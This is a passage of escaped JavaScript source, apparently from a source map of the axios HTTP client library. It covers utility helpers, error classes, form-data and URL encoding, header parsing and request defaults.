return;\n }\n\n if(!('toJSON' in source)) {\n stack[i] = source;\n const target = isArray(source) ? [] : {};\n\n forEach(source, (value, key) => {\n const reducedValue = visit(value, i + 1);\n !isUndefined(reducedValue) && (target[key] = reducedValue);\n });\n\n stack[i] = undefined;\n\n return target;\n }\n }\n\n return source;\n }\n\n return visit(obj, 0);\n}\n\nconst isAsyncFn = kindOfTest('AsyncFunction');\n\nconst isThenable = (thing) =>\n thing && (isObject(thing) || isFunction(thing)) && isFunction(thing.then) && isFunction(thing.catch);\n\nexport default {\n isArray,\n isArrayBuffer,\n isBuffer,\n isFormData,\n isArrayBufferView,\n isString,\n isNumber,\n isBoolean,\n isObject,\n isPlainObject,\n isReadableStream,\n isRequest,\n isResponse,\n isHeaders,\n isUndefined,\n isDate,\n isFile,\n isBlob,\n isRegExp,\n isFunction,\n isStream,\n isURLSearchParams,\n isTypedArray,\n isFileList,\n forEach,\n merge,\n extend,\n trim,\n stripBOM,\n inherits,\n toFlatObject,\n kindOf,\n kindOfTest,\n endsWith,\n toArray,\n forEachEntry,\n matchAll,\n isHTMLForm,\n hasOwnProperty,\n hasOwnProp: hasOwnProperty, // an alias to avoid ESLint no-prototype-builtins detection\n reduceDescriptors,\n freezeMethods,\n toObjectSet,\n toCamelCase,\n noop,\n toFiniteNumber,\n findKey,\n global: _global,\n isContextDefined,\n ALPHABET,\n generateString,\n isSpecCompliantForm,\n toJSONObject,\n isAsyncFn,\n isThenable\n};\n","'use strict';\n\nimport utils from '../utils.js';\n\n/**\n * Create an Error with the specified message, config, error code, request and response.\n *\n * @param {string} message The error message.\n * @param {string} [code] The error code (for example, 'ECONNABORTED').\n * @param {Object} [config] The config.\n * @param {Object} [request] The request.\n * @param {Object} [response] The response.\n *\n * @returns {Error} The created error.\n */\nfunction AxiosError(message, code, config, request, response) {\n Error.call(this);\n\n if (Error.captureStackTrace) {\n Error.captureStackTrace(this, this.constructor);\n } else {\n this.stack = (new Error()).stack;\n }\n\n this.message = message;\n this.name = 'AxiosError';\n code && (this.code = code);\n config && (this.config = config);\n request && (this.request = request);\n response && (this.response = response);\n}\n\nutils.inherits(AxiosError, Error, {\n toJSON: function toJSON() {\n return {\n // Standard\n message: this.message,\n name: this.name,\n // Microsoft\n description: this.description,\n number: this.number,\n // Mozilla\n fileName: this.fileName,\n lineNumber: this.lineNumber,\n columnNumber: this.columnNumber,\n stack: this.stack,\n // Axios\n config: utils.toJSONObject(this.config),\n code: this.code,\n status: this.response && this.response.status ? this.response.status : null\n };\n }\n});\n\nconst prototype = AxiosError.prototype;\nconst descriptors = {};\n\n[\n 'ERR_BAD_OPTION_VALUE',\n 'ERR_BAD_OPTION',\n 'ECONNABORTED',\n 'ETIMEDOUT',\n 'ERR_NETWORK',\n 'ERR_FR_TOO_MANY_REDIRECTS',\n 'ERR_DEPRECATED',\n 'ERR_BAD_RESPONSE',\n 'ERR_BAD_REQUEST',\n 'ERR_CANCELED',\n 'ERR_NOT_SUPPORT',\n 'ERR_INVALID_URL'\n// eslint-disable-next-line func-names\n].forEach(code => {\n descriptors[code] = {value: code};\n});\n\nObject.defineProperties(AxiosError, descriptors);\nObject.defineProperty(prototype, 'isAxiosError', {value: true});\n\n// eslint-disable-next-line func-names\nAxiosError.from = (error, code, config, request, response, customProps) => {\n const axiosError = Object.create(prototype);\n\n utils.toFlatObject(error, axiosError, function filter(obj) {\n return obj !== Error.prototype;\n }, prop => {\n return prop !== 'isAxiosError';\n });\n\n AxiosError.call(axiosError, error.message, code, config, request, response);\n\n axiosError.cause = error;\n\n axiosError.name = error.name;\n\n customProps && Object.assign(axiosError, customProps);\n\n return axiosError;\n};\n\nexport default AxiosError;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\n// temporary hotfix to avoid circular references until AxiosURLSearchParams is refactored\nimport PlatformFormData from '../platform/node/classes/FormData.js';\n\n/**\n * Determines if the given thing is a array or js object.\n *\n * @param {string} thing - The object or array to be visited.\n *\n * @returns {boolean}\n */\nfunction isVisitable(thing) {\n return utils.isPlainObject(thing) || utils.isArray(thing);\n}\n\n/**\n * It removes the brackets from the end of a string\n *\n * @param {string} key - The key of the parameter.\n *\n * @returns {string} the key without the brackets.\n */\nfunction removeBrackets(key) {\n return utils.endsWith(key, '[]') ? key.slice(0, -2) : key;\n}\n\n/**\n * It takes a path, a key, and a boolean, and returns a string\n *\n * @param {string} path - The path to the current key.\n * @param {string} key - The key of the current object being iterated over.\n * @param {string} dots - If true, the key will be rendered with dots instead of brackets.\n *\n * @returns {string} The path to the current key.\n */\nfunction renderKey(path, key, dots) {\n if (!path) return key;\n return path.concat(key).map(function each(token, i) {\n // eslint-disable-next-line no-param-reassign\n token = removeBrackets(token);\n return !dots && i ? '[' + token + ']' : token;\n }).join(dots ? '.' : '');\n}\n\n/**\n * If the array is an array and none of its elements are visitable, then it's a flat array.\n *\n * @param {Array<any>} arr - The array to check\n *\n * @returns {boolean}\n */\nfunction isFlatArray(arr) {\n return utils.isArray(arr) && !arr.some(isVisitable);\n}\n\nconst predicates = utils.toFlatObject(utils, {}, null, function filter(prop) {\n return /^is[A-Z]/.test(prop);\n});\n\n/**\n * Convert a data object to FormData\n *\n * @param {Object} obj\n * @param {?Object} [formData]\n * @param {?Object} [options]\n * @param {Function} [options.visitor]\n * @param {Boolean} [options.metaTokens = true]\n * @param {Boolean} [options.dots = false]\n * @param {?Boolean} [options.indexes = false]\n *\n * @returns {Object}\n **/\n\n/**\n * It converts an object into a FormData object\n *\n * @param {Object<any, any>} obj - The object to convert to form data.\n * @param {string} formData - The FormData object to append to.\n * @param {Object<string, any>} options\n *\n * @returns\n */\nfunction toFormData(obj, formData, options) {\n if (!utils.isObject(obj)) {\n throw new TypeError('target must be an object');\n }\n\n // eslint-disable-next-line no-param-reassign\n formData = formData || new (PlatformFormData || FormData)();\n\n // eslint-disable-next-line no-param-reassign\n options = utils.toFlatObject(options, {\n metaTokens: true,\n dots: false,\n indexes: false\n }, false, function defined(option, source) {\n // eslint-disable-next-line no-eq-null,eqeqeq\n return !utils.isUndefined(source[option]);\n });\n\n const metaTokens = options.metaTokens;\n // eslint-disable-next-line no-use-before-define\n const visitor = options.visitor || defaultVisitor;\n const dots = options.dots;\n const indexes = options.indexes;\n const _Blob = options.Blob || typeof Blob !== 'undefined' && Blob;\n const useBlob = _Blob && utils.isSpecCompliantForm(formData);\n\n if (!utils.isFunction(visitor)) {\n throw new TypeError('visitor must be a function');\n }\n\n function convertValue(value) {\n if (value === null) return '';\n\n if (utils.isDate(value)) {\n return value.toISOString();\n }\n\n if (!useBlob && utils.isBlob(value)) {\n throw new AxiosError('Blob is not supported. Use a Buffer instead.');\n }\n\n if (utils.isArrayBuffer(value) || utils.isTypedArray(value)) {\n return useBlob && typeof Blob === 'function' ? new Blob([value]) : Buffer.from(value);\n }\n\n return value;\n }\n\n /**\n * Default visitor.\n *\n * @param {*} value\n * @param {String|Number} key\n * @param {Array<String|Number>} path\n * @this {FormData}\n *\n * @returns {boolean} return true to visit the each prop of the value recursively\n */\n function defaultVisitor(value, key, path) {\n let arr = value;\n\n if (value && !path && typeof value === 'object') {\n if (utils.endsWith(key, '{}')) {\n // eslint-disable-next-line no-param-reassign\n key = metaTokens ? key : key.slice(0, -2);\n // eslint-disable-next-line no-param-reassign\n value = JSON.stringify(value);\n } else if (\n (utils.isArray(value) && isFlatArray(value)) ||\n ((utils.isFileList(value) || utils.endsWith(key, '[]')) && (arr = utils.toArray(value))\n )) {\n // eslint-disable-next-line no-param-reassign\n key = removeBrackets(key);\n\n arr.forEach(function each(el, index) {\n !(utils.isUndefined(el) || el === null) && formData.append(\n // eslint-disable-next-line no-nested-ternary\n indexes === true ? renderKey([key], index, dots) : (indexes === null ? key : key + '[]'),\n convertValue(el)\n );\n });\n return false;\n }\n }\n\n if (isVisitable(value)) {\n return true;\n }\n\n formData.append(renderKey(path, key, dots), convertValue(value));\n\n return false;\n }\n\n const stack = [];\n\n const exposedHelpers = Object.assign(predicates, {\n defaultVisitor,\n convertValue,\n isVisitable\n });\n\n function build(value, path) {\n if (utils.isUndefined(value)) return;\n\n if (stack.indexOf(value) !== -1) {\n throw Error('Circular reference detected in ' + path.join('.'));\n }\n\n stack.push(value);\n\n utils.forEach(value, function each(el, key) {\n const result = !(utils.isUndefined(el) || el === null) && visitor.call(\n formData, el, utils.isString(key) ? key.trim() : key, path, exposedHelpers\n );\n\n if (result === true) {\n build(el, path ? path.concat(key) : [key]);\n }\n });\n\n stack.pop();\n }\n\n if (!utils.isObject(obj)) {\n throw new TypeError('data must be an object');\n }\n\n build(obj);\n\n return formData;\n}\n\nexport default toFormData;\n","'use strict';\n\nimport toFormData from './toFormData.js';\n\n/**\n * It encodes a string by replacing all characters that are not in the unreserved set with\n * their percent-encoded equivalents\n *\n * @param {string} str - The string to encode.\n *\n * @returns {string} The encoded string.\n */\nfunction encode(str) {\n const charMap = {\n '!': '%21',\n \"'\": '%27',\n '(': '%28',\n ')': '%29',\n '~': '%7E',\n '%20': '+',\n '%00': '\\x00'\n };\n return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {\n return charMap[match];\n });\n}\n\n/**\n * It takes a params object and converts it to a FormData object\n *\n * @param {Object<string, any>} params - The parameters to be converted to a FormData object.\n * @param {Object<string, any>} options - The options object passed to the Axios constructor.\n *\n * @returns {void}\n */\nfunction AxiosURLSearchParams(params, options) {\n this._pairs = [];\n\n params && toFormData(params, this, options);\n}\n\nconst prototype = AxiosURLSearchParams.prototype;\n\nprototype.append = function append(name, value) {\n this._pairs.push([name, value]);\n};\n\nprototype.toString = function toString(encoder) {\n const _encode = encoder ? function(value) {\n return encoder.call(this, value, encode);\n } : encode;\n\n return this._pairs.map(function each(pair) {\n return _encode(pair[0]) + '=' + _encode(pair[1]);\n }, '').join('&');\n};\n\nexport default AxiosURLSearchParams;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosURLSearchParams from '../helpers/AxiosURLSearchParams.js';\n\n/**\n * It replaces all instances of the characters `:`, `$`, `,`, `+`, `[`, and `]` with their\n * URI encoded counterparts\n *\n * @param {string} val The value to be encoded.\n *\n * @returns {string} The encoded value.\n */\nfunction encode(val) {\n return encodeURIComponent(val).\n replace(/%3A/gi, ':').\n replace(/%24/g, '$').\n replace(/%2C/gi, ',').\n replace(/%20/g, '+').\n replace(/%5B/gi, '[').\n replace(/%5D/gi, ']');\n}\n\n/**\n * Build a URL by appending params to the end\n *\n * @param {string} url The base of the url (e.g., http://www.google.com)\n * @param {object} [params] The params to be appended\n * @param {?object} options\n *\n * @returns {string} The formatted url\n */\nexport default function buildURL(url, params, options) {\n /*eslint no-param-reassign:0*/\n if (!params) {\n return url;\n }\n \n const _encode = options && options.encode || encode;\n\n const serializeFn = options && options.serialize;\n\n let serializedParams;\n\n if (serializeFn) {\n serializedParams = serializeFn(params, options);\n } else {\n serializedParams = utils.isURLSearchParams(params) ?\n params.toString() :\n new AxiosURLSearchParams(params, options).toString(_encode);\n }\n\n if (serializedParams) {\n const hashmarkIndex = url.indexOf(\"#\");\n\n if (hashmarkIndex !== -1) {\n url = url.slice(0, hashmarkIndex);\n }\n url += (url.indexOf('?') === -1 ? '?' : '&') + serializedParams;\n }\n\n return url;\n}\n","'use strict';\n\nimport utils from './../utils.js';\n\nclass InterceptorManager {\n constructor() {\n this.handlers = [];\n }\n\n /**\n * Add a new interceptor to the stack\n *\n * @param {Function} fulfilled The function to handle `then` for a `Promise`\n * @param {Function} rejected The function to handle `reject` for a `Promise`\n *\n * @return {Number} An ID used to remove interceptor later\n */\n use(fulfilled, rejected, options) {\n this.handlers.push({\n fulfilled,\n rejected,\n synchronous: options ? options.synchronous : false,\n runWhen: options ? options.runWhen : null\n });\n return this.handlers.length - 1;\n }\n\n /**\n * Remove an interceptor from the stack\n *\n * @param {Number} id The ID that was returned by `use`\n *\n * @returns {Boolean} `true` if the interceptor was removed, `false` otherwise\n */\n eject(id) {\n if (this.handlers[id]) {\n this.handlers[id] = null;\n }\n }\n\n /**\n * Clear all interceptors from the stack\n *\n * @returns {void}\n */\n clear() {\n if (this.handlers) {\n this.handlers = [];\n }\n }\n\n /**\n * Iterate over all the registered interceptors\n *\n * This method is particularly useful for skipping over any\n * interceptors that may have become `null` calling `eject`.\n *\n * @param {Function} fn The function to call for each interceptor\n *\n * @returns {void}\n */\n forEach(fn) {\n utils.forEach(this.handlers, function forEachHandler(h) {\n if (h !== null) {\n fn(h);\n }\n });\n }\n}\n\nexport default InterceptorManager;\n","const hasBrowserEnv = typeof window !== 'undefined' && typeof document !== 'undefined';\n\n/**\n * Determine if we're running in a standard browser environment\n *\n * This allows axios to run in a web worker, and react-native.\n * Both environments support XMLHttpRequest, but not fully standard globals.\n *\n * web workers:\n * typeof window -> undefined\n * typeof document -> undefined\n *\n * react-native:\n * navigator.product -> 'ReactNative'\n * nativescript\n * navigator.product -> 'NativeScript' or 'NS'\n *\n * @returns {boolean}\n */\nconst hasStandardBrowserEnv = (\n (product) => {\n return hasBrowserEnv && ['ReactNative', 'NativeScript', 'NS'].indexOf(product) < 0\n })(typeof navigator !== 'undefined' && navigator.product);\n\n/**\n * Determine if we're running in a standard browser webWorker environment\n *\n * Although the `isStandardBrowserEnv` method indicates that\n * `allows axios to run in a web worker`, the WebWorker will still be\n * filtered out due to its judgment standard\n * `typeof window !== 'undefined' && typeof document !== 'undefined'`.\n * This leads to a problem when axios post `FormData` in webWorker\n */\nconst hasStandardBrowserWebWorkerEnv = (() => {\n return (\n typeof WorkerGlobalScope !== 'undefined' &&\n // eslint-disable-next-line no-undef\n self instanceof WorkerGlobalScope &&\n typeof self.importScripts === 'function'\n );\n})();\n\nconst origin = hasBrowserEnv && window.location.href || 'http://localhost';\n\nexport {\n hasBrowserEnv,\n hasStandardBrowserWebWorkerEnv,\n hasStandardBrowserEnv,\n origin\n}\n","'use strict';\n\nexport default {\n silentJSONParsing: true,\n forcedJSONParsing: true,\n clarifyTimeoutError: false\n};\n","import URLSearchParams from './classes/URLSearchParams.js'\nimport FormData from './classes/FormData.js'\nimport Blob from './classes/Blob.js'\n\nexport default {\n isBrowser: true,\n classes: {\n URLSearchParams,\n FormData,\n Blob\n },\n protocols: ['http', 'https', 'file', 'blob', 'url', 'data']\n};\n","'use strict';\n\nimport AxiosURLSearchParams from '../../../helpers/AxiosURLSearchParams.js';\nexport default typeof URLSearchParams !== 'undefined' ? URLSearchParams : AxiosURLSearchParams;\n","'use strict';\n\nexport default typeof FormData !== 'undefined' ? FormData : null;\n","'use strict'\n\nexport default typeof Blob !== 'undefined' ? Blob : null\n","import platform from './node/index.js';\nimport * as utils from './common/utils.js';\n\nexport default {\n ...utils,\n ...platform\n}\n","'use strict';\n\nimport utils from '../utils.js';\n\n/**\n * It takes a string like `foo[x][y][z]` and returns an array like `['foo', 'x', 'y', 'z']\n *\n * @param {string} name - The name of the property to get.\n *\n * @returns An array of strings.\n */\nfunction parsePropPath(name) {\n // foo[x][y][z]\n // foo.x.y.z\n // foo-x-y-z\n // foo x y z\n return utils.matchAll(/\\w+|\\[(\\w*)]/g, name).map(match => {\n return match[0] === '[]' ? '' : match[1] || match[0];\n });\n}\n\n/**\n * Convert an array to an object.\n *\n * @param {Array<any>} arr - The array to convert to an object.\n *\n * @returns An object with the same keys and values as the array.\n */\nfunction arrayToObject(arr) {\n const obj = {};\n const keys = Object.keys(arr);\n let i;\n const len = keys.length;\n let key;\n for (i = 0; i < len; i++) {\n key = keys[i];\n obj[key] = arr[key];\n }\n return obj;\n}\n\n/**\n * It takes a FormData object and returns a JavaScript object\n *\n * @param {string} formData The FormData object to convert to JSON.\n *\n * @returns {Object<string, any> | null} The converted object.\n */\nfunction formDataToJSON(formData) {\n function buildPath(path, value, target, index) {\n let name = path[index++];\n\n if (name === '__proto__') return true;\n\n const isNumericKey = Number.isFinite(+name);\n const isLast = index >= path.length;\n name = !name && utils.isArray(target) ? target.length : name;\n\n if (isLast) {\n if (utils.hasOwnProp(target, name)) {\n target[name] = [target[name], value];\n } else {\n target[name] = value;\n }\n\n return !isNumericKey;\n }\n\n if (!target[name] || !utils.isObject(target[name])) {\n target[name] = [];\n }\n\n const result = buildPath(path, value, target[name], index);\n\n if (result && utils.isArray(target[name])) {\n target[name] = arrayToObject(target[name]);\n }\n\n return !isNumericKey;\n }\n\n if (utils.isFormData(formData) && utils.isFunction(formData.entries)) {\n const obj = {};\n\n utils.forEachEntry(formData, (name, value) => {\n buildPath(parsePropPath(name), value, obj, 0);\n });\n\n return obj;\n }\n\n return null;\n}\n\nexport default formDataToJSON;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\nimport transitionalDefaults from './transitional.js';\nimport toFormData from '../helpers/toFormData.js';\nimport toURLEncodedForm from '../helpers/toURLEncodedForm.js';\nimport platform from '../platform/index.js';\nimport formDataToJSON from '../helpers/formDataToJSON.js';\n\n/**\n * It takes a string, tries to parse it, and if it fails, it returns the stringified version\n * of the input\n *\n * @param {any} rawValue - The value to be stringified.\n * @param {Function} parser - A function that parses a string into a JavaScript object.\n * @param {Function} encoder - A function that takes a value and returns a string.\n *\n * @returns {string} A stringified version of the rawValue.\n */\nfunction stringifySafely(rawValue, parser, encoder) {\n if (utils.isString(rawValue)) {\n try {\n (parser || JSON.parse)(rawValue);\n return utils.trim(rawValue);\n } catch (e) {\n if (e.name !== 'SyntaxError') {\n throw e;\n }\n }\n }\n\n return (encoder || JSON.stringify)(rawValue);\n}\n\nconst defaults = {\n\n transitional: transitionalDefaults,\n\n adapter: ['xhr', 'http', 'fetch'],\n\n transformRequest: [function transformRequest(data, headers) {\n const contentType = headers.getContentType() || '';\n const hasJSONContentType = contentType.indexOf('application/json') > -1;\n const isObjectPayload = utils.isObject(data);\n\n if (isObjectPayload && utils.isHTMLForm(data)) {\n data = new FormData(data);\n }\n\n const isFormData = utils.isFormData(data);\n\n if (isFormData) {\n return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;\n }\n\n if (utils.isArrayBuffer(data) ||\n utils.isBuffer(data) ||\n utils.isStream(data) ||\n utils.isFile(data) ||\n utils.isBlob(data) ||\n utils.isReadableStream(data)\n ) {\n return data;\n }\n if (utils.isArrayBufferView(data)) {\n return data.buffer;\n }\n if (utils.isURLSearchParams(data)) {\n headers.setContentType('application/x-www-form-urlencoded;charset=utf-8', false);\n return data.toString();\n }\n\n let isFileList;\n\n if (isObjectPayload) {\n if (contentType.indexOf('application/x-www-form-urlencoded') > -1) {\n return toURLEncodedForm(data, this.formSerializer).toString();\n }\n\n if ((isFileList = utils.isFileList(data)) || contentType.indexOf('multipart/form-data') > -1) {\n const _FormData = this.env && this.env.FormData;\n\n return toFormData(\n isFileList ? {'files[]': data} : data,\n _FormData && new _FormData(),\n this.formSerializer\n );\n }\n }\n\n if (isObjectPayload || hasJSONContentType ) {\n headers.setContentType('application/json', false);\n return stringifySafely(data);\n }\n\n return data;\n }],\n\n transformResponse: [function transformResponse(data) {\n const transitional = this.transitional || defaults.transitional;\n const forcedJSONParsing = transitional && transitional.forcedJSONParsing;\n const JSONRequested = this.responseType === 'json';\n\n if (utils.isResponse(data) || utils.isReadableStream(data)) {\n return data;\n }\n\n if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {\n const silentJSONParsing = transitional && transitional.silentJSONParsing;\n const strictJSONParsing = !silentJSONParsing && JSONRequested;\n\n try {\n return JSON.parse(data);\n } catch (e) {\n if (strictJSONParsing) {\n if (e.name === 'SyntaxError') {\n throw AxiosError.from(e, AxiosError.ERR_BAD_RESPONSE, this, null, this.response);\n }\n throw e;\n }\n }\n }\n\n return data;\n }],\n\n /**\n * A timeout in milliseconds to abort a request. If set to 0 (default) a\n * timeout is not created.\n */\n timeout: 0,\n\n xsrfCookieName: 'XSRF-TOKEN',\n xsrfHeaderName: 'X-XSRF-TOKEN',\n\n maxContentLength: -1,\n maxBodyLength: -1,\n\n env: {\n FormData: platform.classes.FormData,\n Blob: platform.classes.Blob\n },\n\n validateStatus: function validateStatus(status) {\n return status >= 200 && status < 300;\n },\n\n headers: {\n common: {\n 'Accept': 'application/json, text/plain, */*',\n 'Content-Type': undefined\n }\n }\n};\n\nutils.forEach(['delete', 'get', 'head', 'post', 'put', 'patch'], (method) => {\n defaults.headers[method] = {};\n});\n\nexport default defaults;\n","'use strict';\n\nimport utils from '../utils.js';\nimport toFormData from './toFormData.js';\nimport platform from '../platform/index.js';\n\nexport default function toURLEncodedForm(data, options) {\n return toFormData(data, new platform.classes.URLSearchParams(), Object.assign({\n visitor: function(value, key, path, helpers) {\n if (platform.isNode && utils.isBuffer(value)) {\n this.append(key, value.toString('base64'));\n return false;\n }\n\n return helpers.defaultVisitor.apply(this, arguments);\n }\n }, options));\n}\n","'use strict';\n\nimport utils from './../utils.js';\n\n// RawAxiosHeaders whose duplicates are ignored by node\n// c.f. https://nodejs.org/api/http.html#http_message_headers\nconst ignoreDuplicateOf = utils.toObjectSet([\n 'age', 'authorization', 'content-length', 'content-type', 'etag',\n 'expires', 'from', 'host', 'if-modified-since', 'if-unmodified-since',\n 'last-modified', 'location', 'max-forwards', 'proxy-authorization',\n 'referer', 'retry-after', 'user-agent'\n]);\n\n/**\n * Parse headers into an object\n *\n * ```\n * Date: Wed, 27 Aug 2014 08:58:49 GMT\n * Content-Type: application/json\n * Connection: keep-alive\n * Transfer-Encoding: chunked\n * ```\n *\n * @param {String} rawHeaders Headers needing to be parsed\n *\n * @returns {Object} Headers parsed into an object\n */\nexport default rawHeaders => {\n const parsed = {};\n let key;\n let val;\n let i;\n\n rawHeaders && rawHeaders.split('\\n').forEach(function parser(line) {\n i = line.indexOf(':');\n key = line.substring(0, i).trim().toLowerCase();\n val = line.substring(i + 1).trim();\n\n if (!key || (parsed[key] && ignoreDuplicateOf[key])) {\n return;\n }\n\n if (key === 'set-cookie') {\n if (parsed[key]) {\n parsed[key].push(val);\n } else {\n parsed[key] = [val];\n }\n } else {\n parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val;\n }\n });\n\n return parsed;\n};\n","'use strict';\n\nimport utils from '../utils.js';\nimport parseHeaders from '../helpers/parseHeaders.js';\n\nconst $internals = Symbol('internals');\n\nfunction normalizeHeader(header) {\n return header && String(header).trim().toLowerCase();\n}\n\nfunction normalizeValue(value) {\n if (value === false || value == null) {\n return value;\n }\n\n return utils.isArray(value) ? value.map(normalizeValue) : String(value);\n}\n\nfunction parseTokens(str) {\n const tokens = Object.create(null);\n const tokensRE = /([^\\s,;=]+)\\s*(?:=\\s*([^,;]+))?/g;\n let match;\n\n while ((match = tokensRE.exec(str))) {\n tokens[match[1]] = match[2];\n }\n\n return tokens;\n}\n\nconst isValidHeaderName = (str) => /^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(str.trim());\n\nfunction matchHeaderValue(context, value, header, filter, isHeaderNameFilter) {\n if (utils.isFunction(filter)) {\n return filter.call(this, value, header);\n }\n\n if (isHeaderNameFilter) {\n value = header;\n }\n\n if (!utils.isString(value)) return;\n\n if (utils.isString(filter)) {\n return value.indexOf(filter) !== -1;\n }\n\n if (utils.isRegExp(filter)) {\n return filter.test(value);\n }\n}\n\nfunction formatHeader(header) {\n return header.trim()\n .toLowerCase().replace(/([a-z\\d])(\\w*)/g, (w, char, str) => {\n return char.toUpperCase() + str;\n });\n}\n\nfunction buildAccessors(obj, header) {\n const accessorName = utils.toCamelCase(' ' + header);\n\n ['get', 'set', 'has'].forEach(methodName => {\n Object.defineProperty(obj, methodName + accessorName, {\n value: function(arg1, arg2, arg3) {\n return this[methodName].call(this, header, arg1, arg2, arg3);\n },\n configurable: true\n });\n });\n}\n\nclass AxiosHeaders {\n constructor(headers) {\n headers && this.set(headers);\n }\n\n set(header, valueOrRewrite, rewrite) {\n const self = this;\n\n function setHeader(_value, _header, _rewrite) {\n const lHeader = normalizeHeader(_header);\n\n if (!lHeader) {\n throw new Error('header name must be a non-empty string');\n }\n\n const key = utils.findKey(self, lHeader);\n\n if(!key || self[key] === undefined || _rewrite === true || (_rewrite === undefined && self[key] !== false)) {\n self[key || _header] = normalizeValue(_value);\n }\n }\n\n const setHeaders = (headers, _rewrite) =>\n utils.forEach(headers, (_value, _header) => setHeader(_value, _header, _rewrite));\n\n if (utils.isPlainObject(header) || header instanceof this.constructor) {\n setHeaders(header, valueOrRewrite)\n } else if(utils.isString(header) && (header = header.trim()) && !isValidHeaderName(header)) {\n setHeaders(parseHeaders(header), valueOrRewrite);\n } else if (utils.isHeaders(header)) {\n for (const [key, value] of header.entries()) {\n setHeader(value, key, rewrite);\n }\n } else {\n header != null && setHeader(valueOrRewrite, header, rewrite);\n }\n\n return this;\n }\n\n get(header, parser) {\n header = normalizeHeader(header);\n\n if (header) {\n const key = utils.findKey(this, header);\n\n if (key) {\n const value = this[key];\n\n if (!parser) {\n return value;\n }\n\n if (parser === true) {\n return parseTokens(value);\n }\n\n if (utils.isFunction(parser)) {\n return parser.call(this, value, key);\n }\n\n if (utils.isRegExp(parser)) {\n return parser.exec(value);\n }\n\n throw new TypeError('parser must be boolean|regexp|function');\n }\n }\n }\n\n has(header, matcher) {\n header = normalizeHeader(header);\n\n if (header) {\n const key = utils.findKey(this, header);\n\n return !!(key && this[key] !== undefined && (!matcher || matchHeaderValue(this, this[key], key, matcher)));\n }\n\n return false;\n }\n\n delete(header, matcher) {\n const self = this;\n let deleted = false;\n\n function deleteHeader(_header) {\n _header = normalizeHeader(_header);\n\n if (_header) {\n const key = utils.findKey(self, _header);\n\n if (key && (!matcher || matchHeaderValue(self, self[key], key, matcher))) {\n delete self[key];\n\n deleted = true;\n }\n }\n }\n\n if (utils.isArray(header)) {\n header.forEach(deleteHeader);\n } else {\n deleteHeader(header);\n }\n\n return deleted;\n }\n\n clear(matcher) {\n const keys = Object.keys(this);\n let i = keys.length;\n let deleted = false;\n\n while (i--) {\n const key = keys[i];\n if(!matcher || matchHeaderValue(this, this[key], key, matcher, true)) {\n delete this[key];\n deleted = true;\n }\n }\n\n return deleted;\n }\n\n normalize(format) {\n const self = this;\n const headers = {};\n\n utils.forEach(this, (value, header) => {\n const key = utils.findKey(headers, header);\n\n if (key) {\n self[key] = normalizeValue(value);\n delete self[header];\n return;\n }\n\n const normalized = format ? formatHeader(header) : String(header).trim();\n\n if (normalized !== header) {\n delete self[header];\n }\n\n self[normalized] = normalizeValue(value);\n\n headers[normalized] = true;\n });\n\n return this;\n }\n\n concat(...targets) {\n return this.constructor.concat(this, ...targets);\n }\n\n toJSON(asStrings) {\n const obj = Object.create(null);\n\n utils.forEach(this, (value, header) => {\n value != null && value !== false && (obj[header] = asStrings && utils.isArray(value) ? value.join(', ') : value);\n });\n\n return obj;\n }\n\n [Symbol.iterator]() {\n return Object.entries(this.toJSON())[Symbol.iterator]();\n }\n\n toString() {\n return Object.entries(this.toJSON()).map(([header, value]) => header + ': ' + value).join('\\n');\n }\n\n get [Symbol.toStringTag]() {\n return 'AxiosHeaders';\n }\n\n static from(thing) {\n return thing instanceof this ? thing : new this(thing);\n }\n\n static concat(first, ...targets) {\n const computed = new this(first);\n\n targets.forEach((target) => computed.set(target));\n\n return computed;\n }\n\n static accessor(header) {\n const internals = this[$internals] = (this[$internals] = {\n accessors: {}\n });\n\n const accessors = internals.accessors;\n const prototype = this.prototype;\n\n function defineAccessor(_header) {\n const lHeader = normalizeHeader(_header);\n\n if (!accessors[lHeader]) {\n buildAccessors(prototype, _header);\n accessors[lHeader] = true;\n }\n }\n\n utils.isArray(header) ? header.forEach(defineAccessor) : defineAccessor(header);\n\n return this;\n }\n}\n\nAxiosHeaders.accessor(['Content-Type', 'Content-Length', 'Accept', 'Accept-Encoding', 'User-Agent', 'Authorization']);\n\n// reserved names hotfix\nutils.reduceDescriptors(AxiosHeaders.prototype, ({value}, key) => {\n let mapped = key[0].toUpperCase() + key.slice(1); // map `set` => `Set`\n return {\n get: () => value,\n set(headerValue) {\n this[mapped] = headerValue;\n }\n }\n});\n\nutils.freezeMethods(AxiosHeaders);\n\nexport default AxiosHeaders;\n","'use strict';\n\nimport utils from './../utils.js';\nimport defaults from '../defaults/index.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\n\n/**\n * Transform the data for a request or a response\n *\n * @param {Array|Function} fns A single function or Array of functions\n * @param {?Object} response The response object\n *\n * @returns {*} The resulting transformed data\n */\nexport default function transformData(fns, response) {\n const config = this || defaults;\n const context = response || config;\n const headers = AxiosHeaders.from(context.headers);\n let data = context.data;\n\n utils.forEach(fns, function transform(fn) {\n data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);\n });\n\n headers.normalize();\n\n return data;\n}\n","'use strict';\n\nexport default function isCancel(value) {\n return !!(value && value.__CANCEL__);\n}\n","'use strict';\n\nimport AxiosError from '../core/AxiosError.js';\nimport utils from '../utils.js';\n\n/**\n * A `CanceledError` is an object that is thrown when an operation is canceled.\n *\n * @param {string=} message The message.\n * @param {Object=} config The config.\n * @param {Object=} request The request.\n *\n * @returns {CanceledError} The created error.\n */\nfunction CanceledError(message, config, request) {\n // eslint-disable-next-line no-eq-null,eqeqeq\n AxiosError.call(this, message == null ? 'canceled' : message, AxiosError.ERR_CANCELED, config, request);\n this.name = 'CanceledError';\n}\n\nutils.inherits(CanceledError, AxiosError, {\n __CANCEL__: true\n});\n\nexport default CanceledError;\n","'use strict';\n\nimport AxiosError from './AxiosError.js';\n\n/**\n * Resolve or reject a Promise based on response status.\n *\n * @param {Function} resolve A function that resolves the promise.\n * @param {Function} reject A function that rejects the promise.\n * @param {object} response The response.\n *\n * @returns {object} The response.\n */\nexport default function settle(resolve, 